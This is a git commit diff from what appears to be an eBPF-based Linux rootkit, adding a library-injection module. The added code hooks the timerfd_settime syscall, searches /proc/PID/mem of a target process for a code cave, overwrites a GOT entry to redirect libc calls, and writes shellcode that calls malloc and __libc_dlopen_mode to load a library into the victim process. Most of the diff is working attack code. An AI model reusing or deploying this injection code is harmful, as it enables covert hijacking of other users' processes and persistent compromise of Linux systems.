Merged master and develop, now all changes together. Fully tested and working.

This commit is contained in:
h3xduck
2022-05-15 20:46:35 -04:00
80 changed files with 15780 additions and 48 deletions

View File

@@ -0,0 +1,49 @@
#ifndef __MOD_INJECTION_H
#define __MOD_INJECTION_H
#include <linux/bpf.h>
#include <bpf/bpf.h>
#include <bpf/libbpf.h>
#include "kit.skel.h"
#include "common.h"
//Connections
int attach_sys_enter_timerfd_settime(struct kit_bpf *skel){
//skel->links.kprobe_sys_geteuid = bpf_program__attach_uprobe(skel->progs.uprobe_execute_command, false, -1, "/home/osboxes/TFG/src/helpers/execve_hijack", 4992);
skel->links.sys_enter_timerfd_settime = bpf_program__attach(skel->progs.sys_enter_timerfd_settime);
return libbpf_get_error(skel->links.sys_enter_timerfd_settime);
}
int attach_sys_exit_timerfd_settime(struct kit_bpf *skel){
skel->links.sys_exit_timerfd_settime = bpf_program__attach(skel->progs.sys_exit_timerfd_settime);
return libbpf_get_error(skel->links.sys_exit_timerfd_settime);
}
int attach_injection_all(struct kit_bpf *skel){
return attach_sys_enter_timerfd_settime(skel)
|| attach_sys_exit_timerfd_settime(skel);;
}
int detach_sys_enter_timerfd_settime(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.sys_enter_timerfd_settime);
if(err<0){
fprintf(stderr, "Failed to detach injection link\n");
return -1;
}
return 0;
}
int detach_sys_exit_timerfd_settime(struct kit_bpf *skel){
int err = detach_link_generic(skel->links.sys_exit_timerfd_settime);
if(err<0){
fprintf(stderr, "Failed to detach injection link\n");
return -1;
}
return 0;
}
int detach_injection_all(struct kit_bpf *skel){
return detach_sys_enter_timerfd_settime(skel)
|| detach_sys_exit_timerfd_settime(skel);
}
#endif

View File

@@ -3,6 +3,7 @@
#include "sched.h"
#include "fs.h"
#include "exec.h"
#include "injection.h"
module_config_t module_config = {
.xdp_module = {
@@ -22,6 +23,11 @@ module_config_t module_config = {
.exec_module = {
.all = ON,
.tp_sys_enter_execve = OFF
},
.injection_module = {
.all = ON,
.sys_enter_timerfd_settime = OFF,
.sys_exit_timerfd_settime = OFF
}
};
@@ -34,7 +40,8 @@ module_config_attr_t module_config_attr = {
},
.sched_module = {},
.fs_module = {},
.exec_module = {}
.exec_module = {},
.injection_module = {}
};
@@ -78,6 +85,14 @@ int setup_all_modules(){
}
if(ret!=0) return -1;
//INJECTION
if(config.injection_module.all == ON){
ret = attach_injection_all(attr.skel);
}else{
if(config.injection_module.sys_enter_timerfd_settime == ON) ret = attach_sys_enter_timerfd_settime(attr.skel);
if(config.injection_module.sys_exit_timerfd_settime == ON) ret = attach_sys_exit_timerfd_settime(attr.skel);
}
if(ret!=0) return -1;
return 0;
}

View File

@@ -35,6 +35,12 @@ typedef struct module_config_t{
char tp_sys_enter_execve;
}exec_module;
struct injection_module {
char all;
char sys_enter_timerfd_settime;
char sys_exit_timerfd_settime;
}injection_module;
} module_config_t;
//Configuration struct. Used by the module manager to
@@ -58,6 +64,10 @@ typedef struct module_config_attr_t{
void* __empty;
}exec_module;
struct injection_module_attr {
void* __empty;
}injection_module;
} module_config_attr_t;
//An unique module configutation struct and attr

View File

@@ -0,0 +1,123 @@
#ifndef __MEM_CODE_CAVER_H
#define __MEM_CODE_CAVER_H
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/stat.h>
#include "../common/constants.h"
#define CODE_CAVE_LENGTH_BYTES 0x40
#define NULL_BYTE 0x00
__u64 cave_find(int mem_fd, int cave_length, __u64 from, __u64 to){
int null_counter = 0;
lseek(mem_fd, from, SEEK_SET);
for(__u64 ii = from; ii<to; ii++){
char c;
read(mem_fd, &c, 1);
if(c == NULL_BYTE){
null_counter++;
}else{
null_counter = 0;
}
if(null_counter >= CODE_CAVE_LENGTH_BYTES){
printf("Found code cave at %llx\n", ii);
return ii;
}
}
printf("Cave not found between %llx and %llx\n", from, to);
return 0;
}
__u64 code_cave_find_address(int mem_fd, __u64 from, __u64 to, char flags[], __u32 pgoff, __u32 major, __u32 minor, __u64 ino){
__u64 cave_addr;
cave_addr = cave_find(mem_fd, CODE_CAVE_LENGTH_BYTES, from, to);
return cave_addr;
}
int code_cave_write_shellcode(int mem_fd, __u64 cave_addr, __u64 got_addr, __u64 malloc_addr, __u64 dlopen_addr, __u64 syscall_addr){
//Writing the code cave address in the GOT section, future calls to libc will be redirected
size_t len = sizeof(__u64);
__u64 buf_n = (__u64)cave_addr;
lseek(mem_fd, got_addr, SEEK_SET);
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
perror("Error while writing at GOT");
return -1;
}
}
//First part of shellcode
len = CODE_CAVE_SHELLCODE_ASSEMBLE_1_LEN;
char* buf_c = CODE_CAVE_SHELLCODE_ASSEMBLE_1;
lseek(mem_fd, cave_addr, SEEK_SET);
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)buf_c+ii, 1) < 0 ){
perror("Error while writing shellcode 1");
return -1;
}
}
//Writing malloc address
len = sizeof(__u64);
buf_n = (__u64)malloc_addr;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
perror("Error while writing malloc address");
return -1;
}
}
//Second part of shellcode
len = CODE_CAVE_SHELLCODE_ASSEMBLE_2_LEN;
buf_c = CODE_CAVE_SHELLCODE_ASSEMBLE_2;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)buf_c+ii, 1) < 0 ){
perror("Error while writing shellcode 2");
return -1;
}
}
//Writing dlopen address
len = sizeof(__u64);
buf_n = (__u64)dlopen_addr;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
perror("Error while writing dlopen address");
return -1;
}
}
//Third part of shellcode
len = CODE_CAVE_SHELLCODE_ASSEMBLE_3_LEN;
buf_c = CODE_CAVE_SHELLCODE_ASSEMBLE_3;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)buf_c+ii, 1) < 0 ){
perror("Error while writing shellcode 3");
return -1;
}
}
//A trick to jump to a selected location
len = sizeof(__u64);
buf_n = (__u64)syscall_addr;
for(size_t ii=0; ii<len; ii++){
if(write(mem_fd, (void*)&buf_n+ii, 1) < 0 ){
perror("Error while writing syscall address");
return -1;
}
}
printf("Finished writing shellcode at %llx, syscall_addr %llx\n", cave_addr, syscall_addr);
return 0;
}
#endif

View File

@@ -0,0 +1,71 @@
#ifndef __MEM_INJECTION_EXT_H
#define __MEM_INJECTION_EXT_H
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/stat.h>
#include <fcntl.h>
#include "../common/constants.h"
#include "../common/map_common.h"
#include "code_caver.h"
int manage_injection(const struct rb_event* event){
char mem_file_name[100];
__u64 buf = (__u64)CODE_CAVE_ADDRESS_STATIC;
int mem_fd;
memset( (void*)mem_file_name, 0, 100);
printf("Injecting at PID %d at %llx\n", event->pid, event->got_address);
sprintf(mem_file_name, "/proc/%d/mem", event->pid);
mem_fd = open(mem_file_name, O_RDWR);
//lseek(mem_fd, event->got_address, SEEK_SET);
/*for(int ii=0; ii<sizeof(__u64); ii++){
if(write(mem_fd, (void*)&buf+ii, 1) < 0 ){
perror("Error while writing at GOT");
return -1;
}
}*/
//Parsing /proc/pid/maps.
//Note that addresses usually appear as 32-bit when catting, but this is not completely true, 0s are ommitted
//Considering them as 64-bit
char *maps_file = calloc(512, sizeof(char));
FILE *f;
sprintf(maps_file, "/proc/%d/maps", event->pid);
f = fopen(maps_file, "rt");
while (fgets(maps_file, 512, f)) {
__u32 pgoff, major, minor;
__u64 from, to, ino;
char flags[4];
sscanf(maps_file, "%llx-%llx %4c %x %x:%x %llu ", &from, &to, flags, &pgoff, &major, &minor, &ino);
printf("MAPS: %s\n", maps_file);
//Parse flags, find executable one
if(flags[2] == 'x'){
//Candidate for code cave finding
__u64 cave_addr = code_cave_find_address(mem_fd, from, to, flags, pgoff, major, minor, ino);
if(cave_addr!=0){
//Found valid cave.
if(code_cave_write_shellcode(mem_fd, cave_addr, event->got_address, event->libc_malloc_address, event->libc_dlopen_mode_address, event->syscall_address)<0){
printf("Continuing with next cave candidate. Some writes might have been performed already\n");
}
printf("Successfully hijacked GOT\n");
break;
}
}
}
free(maps_file);
close(mem_fd);
return 0;
}
#endif

View File

@@ -15,6 +15,8 @@
#include <net/if.h>
#include <unistd.h>
#include <locale.h>
#include <dlfcn.h>
#include <link.h>
#include <bpf/bpf.h>
@@ -29,6 +31,7 @@
#include "include/utils/structures/fdlist.h"
#include "include/modules/module_manager.h"
#include "include/utils/network/ssl_client.h"
#include "include/utils/mem/injection.h"
#define ABORT_IF_ERR(err, msg)\
if(err<0){\
@@ -152,7 +155,7 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
tm = localtime(&t);
strftime(ts, sizeof(ts), "%H:%M:%S", tm);
//Before parsing any data, check the type
if(e->event_type == INFO){
printf("%s INFO pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
}else if(e->event_type == DEBUG){
@@ -249,6 +252,12 @@ static int handle_rb_event(void *ctx, void *data, size_t data_size){
memcpy(data.payload, e->bps_data.payload, 64);
printf("Post value: %i, %i, %i, %s\n", data.active, data.d_ip, data.d_port, data.payload);
bpf_map_update_elem(FD_TC_MAP, &key, &data, 0);
}else if(e->event_type == VULN_SYSCALL){
//eBPF detected syscall which can lead to library injection
printf("%s VULN_SYSCALL pid:%d syscall:%llx, return:%llx, libc_main:%llx, libc_dlopen_mode:%llx, libc_malloc:%llx, got:%llx, relro:%i\n", ts, e->pid, e->syscall_address, e->process_stack_return_address, e->libc_main_address, e->libc_dlopen_mode_address, e->libc_malloc_address, e->got_address, e->relro_active);
if(manage_injection(e)<0){
printf("Library injection failed\n");
}
}else{
printf("%s COMMAND pid:%d code:%i, msg:%s\n", ts, e->pid, e->code, e->message);
return -1;
@@ -405,6 +414,23 @@ int main(int argc, char**argv){
goto cleanup;
}
struct link_map *lm;
off_t offset = 0;
unsigned long long dlopenAddr;
lm = dlopen("libc.so.6", RTLD_LAZY);
if(lm==0){
perror("Error obtaining libc symbols");
return -1;
}
dlopenAddr = (unsigned long long)dlsym((void*)lm, "__libc_dlopen_mode");
printf("libdl: %lx\n", lm->l_addr);
printf("dlopen: %llx\n", dlopenAddr);
offset = dlopenAddr - lm->l_addr;
printf("Offset: %lx\n", offset);
//Once we have the offset of libc we proceed to uprobe our target program
//Now wait for messages from ebpf program
printf("Filter set and ready\n");
while (!exiting) {